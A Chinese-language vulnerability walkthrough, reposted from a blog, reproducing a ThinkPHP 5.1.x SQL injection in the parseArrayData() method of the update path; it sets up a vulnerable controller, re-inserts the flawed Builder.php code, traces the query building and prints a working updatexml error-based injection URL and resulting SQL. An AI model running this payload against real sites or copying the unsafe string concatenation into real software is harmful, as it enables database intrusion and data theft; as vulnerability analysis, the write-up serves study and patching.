简介:
在parseArrayData() 中出现可控制的拼接情况,从而导致 SQL注入 漏洞( update 方法注入)
漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。
环境搭建
利用composer下载5.1.17版本的源码
composer create-project topthink/think=5.1.17 thinkphp5.1.17
到composer.json中修改
到config/app.php中开启调试
到config/database.php中配置数据库信息
到application/index/controller/Index.php配置如下代码
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->where(['id' => 1])->update(['username' => $username]);
return 'Update success';
}
}
由于某些原因,不管你是在composer或者github上下载到的这版本代码中,thinkphp/library/think/db/Builder.php
处的parseData方法中会缺少一段漏洞利用的必要代码,还会缺少parseArrayData这个方法,我们要复现成功的话要加上这些必要代码
把thinkphp/library/think/db/Builder.php
中的parseData()方法替换成以下的:
/**
* 数据分析
* @access protected
* @param Query $query 查询对象
* @param array $data 数据
* @param array $fields 字段信息
* @param array $bind 参数绑定
* @param string $suffix 参数绑定后缀
* @return array
*/
protected function parseData(Query $query, $data = [], $fields = [], $bind = [], $suffix = '')
{
if (empty($data)) {
return [];
}
$options = $query->getOptions();
// 获取绑定信息
if (empty($bind)) {
$bind = $this->connection->getFieldsBind($options['table']);
}
if (empty($fields)) {
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($query, $key);
if ($val instanceof Expression) {
$result[$item] = $val->getValue();
continue;
} elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $this->connection->getFieldsType($options['table'], $key))) {
$val = json_encode($val);
} elseif (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false !== strpos($key, '->')) {
list($key, $name) = explode('->', $key);
$item = $this->parseKey($query, $key);
$result[$item] = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this->parseDataBind($query, $key, $val, $bind, $suffix) . ')';
} elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'INC':
$result[$item] = $item . ' + ' . floatval($val[1]);
break;
case 'DEC':
$result[$item] = $item . ' - ' . floatval($val[1]);
break;
default:
$value = $this->parseArrayData($query, $val);
if ($value) {
$result[$item] = $value;
}
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
$result[$item] = $this->parseDataBind($query, $key, $val, $bind, $suffix);
}
}
return $result;
}
再在thinkphp/library/think/db/Builder.php
下加入以下方法:
/**
* 数组数据解析
* @access protected
* @param Query $query 查询对象
* @param array $data
* @return mixed
*/
protected function parseArrayData(Query $query, $data)
{
list($type, $value) = $data;
switch (strtolower($type)) {
case 'point':
$fun = isset($data[2]) ? $data[2] : 'GeomFromText';
$point = isset($data[3]) ? $data[3] : 'POINT';
if (is_array($value)) {
$value = implode(' ', $value);
}
$result = $fun . '(\'' . $point . '(' . $value . ')\')';
break;
default:
$result = false;
}
return $result;
}
正常流程走一次
正常流程走一次
http://127.0.0.1/thinkphp5.1.17/public/index.php/index/index/index?username=DMIND
首先是通过get()方法获取到参数username的值=> DMIND,期间经过一系列过滤
db('users')
:创建数据库连接对象实例,返回查询对象实例
经过一个$param = func_get_args();
得到参数:id=1
然后进入parseWhereExp()分析查询表达式,这里面主要进行parseWhereItem(),然后得到where的一些数据。最后return $this返回这个对象
然后到 update(['username' => $username])
部分,
先看parseOptions()
这个方法,主要就是获取到update查询的表
返回$this对象后到update方法,它在thinkphp/library/think/db/Connection.php,这里面主要是生成SQL语句,然后绑定参数,然后执行
先看看$sql = $this->builder->update($query);
他调用了thinkphp/library/think/db/Builder.php
下的update会生成Update的SQL语句。看看这个生成SQL语句的方法:和INSERT的操作类似,先是用parseData()对$data处理,然后对既定语句进行替换得到SQL语句
生成的SQL语句:
UPDATE `users` SET `username` = :ThinkBind_1_1463045952_ WHERE `id` = :ThinkBind_2_1779995301_
然后就是对执行语句…进行了预处理。
不正常流程走一次
以上是正常输入一个字符串的情况,算是体验一下TP处理的正常流程,当输入数组时就会出现可利用的情况
payload:
http://127.0.0.1/thinkphp5.1.17/public/index.php/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
一直正常进行到thinkphp/library/think/db/Connection.php的update,
我们跟进到thinkphp/library/think/db/Builder.php
的update()方法,然后需要调用parseData()处理数据,最后到进行替换,跟进parseData()
在parseData()中,因为$val
是数组,且$val[0]
既不是INC又不是DEC,所以进入了default,在其中又调用了parseArratData(),继续跟进这个方法,问题就出在parseArratData()里面
parseArrayData()方法:
对$type
和$value
分别赋予$data
数组第一个和第二个值,当$data[0]=point
且$data[1]
的值不为数组时即可进行以下拼接,这个拼接就是利用点了,因为$fun
、$point
、$value
都是我们可控的,其中 $fun = $data[2]
,$point = $data[3]
$result = $fun . '(\'' . $point . '(' . $value . ')\')';
拼接后的$result:
updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')
最终拼接到SQL语句中得到:
UPDATE `users` SET `username` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)') WHERE `id` = 1
这样就实现报错注入了。
其实源头还是因为parseData()方法,在这个版本中虽然不像TP5.0.15一样可利用INC、DEC但引入的parseArrayData()方法出现了拼接问题。
七月火师傅的攻击流程图:
修复
目前在GITHUB上似乎找不到parseArrayData()方法的代码了,官方的修复方式是直接删除了parseArrayData()方法…
转载:https://blog.csdn.net/weixin_45669205/article/details/116428483